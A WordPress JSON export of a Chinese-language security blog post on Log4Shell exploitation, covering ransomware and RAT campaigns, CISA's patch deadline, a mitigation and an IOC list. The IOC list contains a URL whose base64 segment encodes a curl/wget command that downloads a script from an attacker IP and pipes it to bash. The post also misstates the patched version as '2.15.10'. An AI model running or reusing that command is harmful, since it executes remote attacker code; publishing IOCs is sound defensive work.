{"id":1565,"date":"2021-12-15T14:26:29","date_gmt":"2021-12-15T06:26:29","guid":{"rendered":"https:\/\/blog.billows.com.tw\/?p=1565"},"modified":"2021-12-15T14:26:30","modified_gmt":"2021-12-15T06:26:30","slug":"%e9%a7%ad%e5%ae%a2%e5%88%a9%e7%94%a8-apache-log4j-%e4%b8%ad%e7%9a%84%e9%87%8d%e5%a4%a7%e9%a2%a8%e9%9a%aa%e6%bc%8f%e6%b4%9e%e4%be%86%e6%a4%8d%e5%85%a5%e5%8b%92%e7%b4%a2%e8%bb%9f%e9%ab%94%e3%80%81web-sh","status":"publish","type":"post","link":"https:\/\/blog.billows.com.tw\/?p=1565","title":{"rendered":"\u99ed\u5ba2\u5229\u7528 Apache Log4j \u4e2d\u7684\u91cd\u5927\u98a8\u96aa\u6f0f\u6d1e\u4f86\u690d\u5165\u52d2\u7d22\u8edf\u9ad4\u3001Web Shell \u548c\u5f8c\u9580\uff0c CISA\u4e0b\u4ee4\u806f\u90a6\u6a5f\u69cb\u5728\u5e73\u5b89\u591c\u524d\u5b8c\u6210\u4fee\u88dc\u53d7Log4Shell\u6f0f\u6d1e\u5f71\u97ff\u7684\u7cfb\u7d71"},"content":{"rendered":"\n

\u96a8\u8457 Log4j<\/a>\u653b\u64ca\u6d3b\u52d5\u7684\u589e\u52a0\uff0cCrowdStrike<\/a>\u9031\u4e8c\u8868\u793a\uff0c\u89c0\u5bdf\u5230\u6709\u4e00\u500b\u4f0a\u6717\u570b\u5bb6\u7d1a\u7684\u99ed\u5ba2\u7d44\u7e54NEMESIS KITTEN\u6b63\u7784\u6e96Log4Shell\u6f0f\u6d1e\u4e26\u90e8\u7f72\u5230\u4e00\u500b\u53ef\u4ee5\u7531\u4f3a\u670d\u5668\u89f8\u767cLog4j\u7684\u985e\u6a94\uff0c\u53e6\u5916Bitdefender <\/a>\u4e5f\u8868\u793a\uff0c\u5176\u7814\u7a76\u4eba\u54e1\u5df2\u7d93\u89c0\u5bdf\u5230\u653b\u64ca\u8005\u8a66\u5716\u5229\u7528\u8a72\u6f0f\u6d1e\u4f86\u5206\u767c\u540d\u70baKhonsari\u7684\u65b0\u578b\u52d2\u7d22\u8edf\u9ad4\u3002\u6b64\u653b\u64ca\u6d89\u53ca\u4f7f\u7528\u60e1\u610f .NET \u6a94\uff0c\u8a72\u6a94\u6848\u4e00\u65e6\u57f7\u884c\uff0c\u5c31\u6703\u5217\u51fa\u6613\u53d7\u653b\u64ca\u7cfb\u7d71\u4e0a\u7684\u6240\u6709\u786c\u789f\uff0c\u4e26\u5c0d\u9664C\u69fd\u4e4b\u5916\u7684\u6240\u6709\u786c\u789f\u9032\u884c\u52a0\u5bc6\uff0c\u7136\u800c\u6703\u5728C\u69fd\u4e2d\u52a0\u5bc6\u7279\u5b9a\u7684\u6a94\u6848\u593e\uff0c\u5305\u62ec\u6587\u6a94\u3001\u8996\u983b\u548c\u4e0b\u8f09\u3002\u9664\u4e86\u52d2\u7d22\u8edf\u9ad4\uff0cBitdefender\u9084\u89c0\u5bdf\u5230\u653b\u64ca\u8005\u8a66\u5716\u5728\u4f01\u696d\u7db2\u8def\u7684\u6613\u53d7\u653b\u64ca\u7cfb\u7d71\u4e0a\u90e8\u7f72\u4e00\u7a2e\u540d\u70ba Orcus \u7684\u5df2\u77e5\u9060\u7aef\u5b58\u53d6\u6728\u99ac\uff08RAT\uff09\u3002Bitdefender\u9032\u4e00\u6b65\u8aaa\uff0c\u653b\u64ca\u8005\u4f7f\u7528\u9019\u7a2e\u6280\u8853\u5728\u7cfb\u7d71\u4e2d\u7ad9\u7a69\u8173\u8ddf\uff0c\u5728\u9019\u4e9b\u6613\u53d7\u653b\u64ca\u7684\u4f3a\u670d\u5668\u4e0a\u90e8\u7f72\u53cd\u5411Bash shell\u76f8\u5c0d\u7c21\u55ae\uff0c\u4e26\u4e14\u5f88\u53ef\u80fd\u5728\u672a\u4f86\u9032\u884c\u66f4\u5168\u9762\u7684\u653b\u64ca\u3002<\/p>\n\n\n\n

\"\"
\u56e0Log4j\u4e2d\u7684\u6f0f\u6d1e\u88ab\u653b\u64ca\u7684\u8a2d\u5099\u7a2e\u985e–Photo Credit: Armis<\/figcaption><\/figure>\n\n\n\n

\u8207\u6b64\u540c\u6642\uff0c\u7269\u806f\u7db2\u5b89\u5168\u4f9b\u61c9\u5546 Armis<\/a> \u767c\u73fe\u76ee\u6a19\u8a2d\u5099\uff08\u4e0a\u5716\uff09\u7684\u7a2e\u985e\u6db5\u84cb\u5404\u7a2e\u8a2d\u5099\uff0c\u653b\u64ca\u6d3b\u52d5\u91dd\u5c0d\u4f3a\u670d\u5668\u4f54 42%\uff0c\u865b\u64ec\u6a5f\u4f54 27%\uff0c\u9023\u63a5\u4e92\u806f\u7db2\u7684\u651d\u50cf\u6a5f\u4f54 12%\u3002Armis \u9084\u767c\u73fe\u4e86\u91dd\u5c0d HMI \u9762\u677f\u548c\u63a7\u5236\u5668\u7b49\u88fd\u9020\u8a2d\u5099\u4ee5\u53ca\u8003\u52e4\u7cfb\u7d71\u7684\u653b\u64ca\u4f01\u5716\u3002<\/p>\n\n\n\n

\u64daCheck Point<\/a>\u7684\u7814\u7a76\uff0c\u8a66\u5716\u5229\u7528\u8a72\u6f0f\u6d1e\u7684\u653b\u64ca\u6578\u91cf\u6301\u7e8c\u4e0a\u5347\uff0c\u5f9e 12 \u6708 11 \u65e5\u7684 40,000 \u6b21\u653b\u64ca\u5230 12 \u6708 13 \u65e5\u7684\u8d85\u904e 800,000 \u6b21\u653b\u64ca\uff0c\u7528\u65bc\u5229\u7528\u8a72\u6f0f\u6d1e\u7684\u8b8a\u7a2e\u6578\u91cf\u4e5f\u589e\u52a0\u523060\u500b\u3002\u5c0d\u65bc\u653b\u64ca\u8005\u4f86\u8aaa\uff0c\u8a72\u6f0f\u6d1e\u63d0\u4f9b\u4e86\u4e00\u500b\u5e7e\u4e4e\u524d\u6240\u672a\u6709\u7684\u6a5f\u6703\uff0c\u53ef\u4ee5\u5617\u8a66\u653b\u64ca\u548c\u7834\u58de\u5168\u7403\u6578\u5341\u5104\u53f0\u8a2d\u5099\u3002Akamai \u662f\u8ddf\u8e2a\u653b\u64ca\u6d3b\u52d5\u7684\u5e7e\u5bb6\u4f9b\u61c9\u5546\u4e4b\u4e00\uff0c\u9031\u4e8c\u8868\u793a\uff0c\u5b83\u5df2\u7d93\u89c0\u5bdf\u5230\u591a\u500b\u8b8a\u9ad4\u8a66\u5716\u4ee5\u6bcf\u5c0f\u6642250,000\u500b\u6f0f\u6d1e\u5229\u7528\u8acb\u6c42\u7684\u6301\u7e8c\u653b\u64ca\u91cf\u4f86\u5229\u7528\u8a72\u6f0f\u6d1e\u3002Akamai \u8868\u793a\uff0c\u8fc4\u4eca\u70ba\u6b62\uff0c\u8d85\u904e 50% \u7684\u653b\u64ca\u4f86\u81ea\u5df2\u77e5\u7684\u5a01\u8105\u884c\u70ba\u8005\uff0c\u4e26\u4e14\u65b0\u7684\u6f0f\u6d1e\u5229\u7528\u8b8a\u9ad4\u7684\u767c\u5c55\u901f\u5ea6\u662f\u524d\u6240\u672a\u6709\u7684<\/a>\u3002<\/p>\n\n\n\n

\u7531\u65bc\u653b\u64ca\u7684\u6578\u91cf\u52a0\u4e0a\u6f0f\u6d1e\u7684\u56b4\u91cd\u6027\uff0c\u4fc3\u4f7f\u7f8e\u570b\u570b\u571f\u5b89\u5168\u90e8\u7684\u7db2\u8def\u5b89\u5168\u548c\u57fa\u790e\u8a2d\u65bd\u5c40(CISA)\u767c\u51fa\u591a\u6b21\u8b66\u544a\uff0c\u4e26\u4e0b\u4ee4<\/a>\u6240\u6709\u806f\u90a6\u6a5f\u69cb\u5728 12 \u6708 24 \u65e5\u4e4b\u524d\u5b8c\u6210\u4fee\u88dc\u6f0f\u6d1e\u3002Log4j\u76842.15.10\u7248\u672c\u4e2d\u7684\u4fee\u88dc\u7a0b\u5f0f\u89e3\u6c7a\u4e86\u5e38\u898b\u6f0f\u6d1e\u548c\u62ab\u9732\u8cc7\u6599\u5eab\u4e2d\u5df2\u77e5\u7684 CVE-2021-44228 \u6f0f\u6d1e\u3002CISA \u6307\u51fa \uff0c\u8981\u4fee\u88dc\u4f7f\u7528\u53d7\u5f71\u97ff\u7248\u672c\u7684 Log4j \u7684\u7522\u54c1\u548c\u670d\u52d9\u4e2d\u7684\u6f0f\u6d1e\uff0c\u9019\u4e9b\u7522\u54c1\u548c\u670d\u52d9\u7684\u7dad\u8b77\u4eba\u54e1\u5fc5\u9808\u5be6\u65bd\u6b64\u5b89\u5168\u66f4\u65b0\u3002\u8a72\u6a5f\u69cb\u6566\u4fc3\u4f9b\u61c9\u5546\u7acb\u5373\u8b58\u5225\u3001\u7de9\u89e3\u548c\u4fee\u88dc\u53d7Log4j\u5f71\u97ff\u7684\u7522\u54c1\uff0c\u5c07\u5305\u542b\u8a72\u6f0f\u6d1e\u7684\u7522\u54c1\u544a\u77e5\u6700\u7d42\u7528\u6236\uff0c\u4e26\u5f37\u70c8\u6566\u4fc3\u4ed6\u5011\u512a\u5148\u8003\u616e\u8edf\u9ad4\u66f4\u65b0\u3002\u64da\u4e86\u89e3\uff0c\u5982\u679c\u7121\u6cd5\u66f4\u65b0\uff0c\u5728 Log4j \u914d\u7f6e\u4e2d\u5c07log4j2.formatMsgNoLookups \u9078\u9805\u8a2d\u7f6e\u70batrue\u4e5f\u53ef\u4ee5\u9632\u6b62\u6f0f\u6d1e\u5229\u7528\u3002<\/p>\n\n\n\n

\u53e6\u5916\uff0c\u5982\u679c\u60a8\u60f3\u67e5\u770b\u8cc7\u5b89\u4f9b\u61c9\u5546\u7684\u7522\u54c1\u662f\u5426\u4ecd\u7136\u662f\u6613\u53d7\u653b\u64ca\uff0c\u6216\u4f7f\u7528\u6613\u53d7\u653b\u64ca\u7248\u672c\u7684Log4j\uff0c\u6216\u5df2\u5b8c\u6210\u4fee\u88dc\uff0c\u53ef\u53c3\u8003\u4ee5\u4e0b\u9023\u7d50:<\/p>\n\n\n\n

https:\/\/www.techsolvency.com\/story-so-far\/cve-2021-44228-log4j-log4shell\/<\/a><\/p>\n\n\n\n

\"\"<\/figure>\n\n\n\n

\u6709\u95dcLog4j\u6f0f\u6d1e\u7684Indicators of Compromise (IOCs):<\/p>\n\n\n\n

Hostname:<\/p>\n\n\n\n

vyvdsvh.x.i.yunzhanghu.co<\/p>\n\n\n\n

lnc7vvhztmjdfm221sdp76xnze5atz.burpcollaborator.net<\/p>\n\n\n\n

jjug8i.xaliyun.com<\/p>\n\n\n\n

e86eafcf9294.bingsearchlib.com<\/p>\n\n\n\n

4568-3409-8076-3389.service.exfil.site<\/p>\n\n\n\n

3be6466b6a20.bingsearchlib.com<\/p>\n\n\n\n

0384eb5a.probe001.log4j.leakix.net<\/p>\n\n\n\n

SHA 256:<\/p>\n\n\n\n

fe98548300025a46de1e06b94252af601a215b985dad31353596af3c1813efb0<\/p>\n\n\n\n

e20806791aeae93ec120e728f892a8850f624ce2052205ddb3f104bbbfae7f80<\/p>\n\n\n\n

c38f0f809a1d8c50aafc2f13185df1441345f83f6eb4ef9c48270b9bd90c6799<\/p>\n\n\n\n

c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a<\/p>\n\n\n\n

c154d739cab62e958944bb4ac5ebad6e965a0442a3f1c1d99d56137e3efa8e40<\/p>\n\n\n\n

b55ddbaee7abf1c73570d6543dd108df0580b08f730de299579570c23b3078c0<\/p>\n\n\n\n

a3f72a73e146834b43dab8833e0a9cfee6d08843a4c23fdf425295e53517afce<\/p>\n\n\n\n

8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef<\/p>\n\n\n\n

776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00<\/p>\n\n\n\n

6a8965a0f897539cc06fefe65d1a4c5fa450d002d1a9d5d69d2b48f697ee5c05<\/p>\n\n\n\n

63d43e5b292b806e857470e53412310ad7103432ba3390ecd4f74e432530a8a9<\/p>\n\n\n\n

6370939d4ff51b934b7a2674ee7307ed06111ab3b896a8847d16107558f58e5b<\/p>\n\n\n\n

3f6120ca0ff7cf6389ce392d4018a5e40b131a083b071187bf54c900e2edad26<\/p>\n\n\n\n

19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d<\/p>\n\n\n\n

0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049<\/p>\n\n\n\n

IPv4:<\/p>\n\n\n\n

80.71.158.12<\/p>\n\n\n\n

45.137.155.55<\/p>\n\n\n\n

109.237.96.124<\/p>\n\n\n\n

URL: http:\/\/80.71.158.12:5557\/Basic\/Command\/Base64\/KGN1cmwgLXMgODAuNzEuMTU4LjEyL2xoLnNofHx3Z2V0IC1xIC1PLSA4MC43MS4xNTguMTIvbGguc2gpfGJhc2g=<\/p>\n\n\n\n

MD5:<\/p>\n\n\n\n

648effa354b3cbaad87b45f48d59c616<\/p>\n\n\n\n

6cead82e17c2dacbb83998cfe3841704<\/p>\n\n\n\n

550f9f929bcb99aeaa3821779d8dea62<\/p>\n\n\n\n

40e3b969906c1a3315e821a8461216bb<\/p>\n\n\n\n

3dfbe75871e218d08328a01c56e1bb42<\/p>\n\n\n\n

1db40b7e18cf228169d2f5d73bf27ef7<\/p>\n\n\n\n

1348a00488a5b3097681b6463321d84c<\/p>\n","protected":false},"excerpt":{"rendered":"

\u96a8\u8457 Log4j\u653b\u64ca\u6d3b\u52d5\u7684\u589e\u52a0\uff0cCrowdStrike\u9031\u4e8c\u8868\u793a\uff0c\u89c0\u5bdf\u5230\u6709\u4e00\u500b\u4f0a\u6717\u570b\u5bb6\u7d1a\u7684\u99ed\u5ba2\u7d44\u7e54NEMESIS READ MORE<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[196,174],"class_list":["post-1565","post","type-post","status-publish","format-standard","hentry","category-6","tag-log4j","tag-news"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/1565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1565"}],"version-history":[{"count":1,"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/1565\/revisions"}],"predecessor-version":[{"id":1568,"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=\/wp\/v2\/posts\/1565\/revisions\/1568"}],"wp:attachment":[{"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.billows.com.tw\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}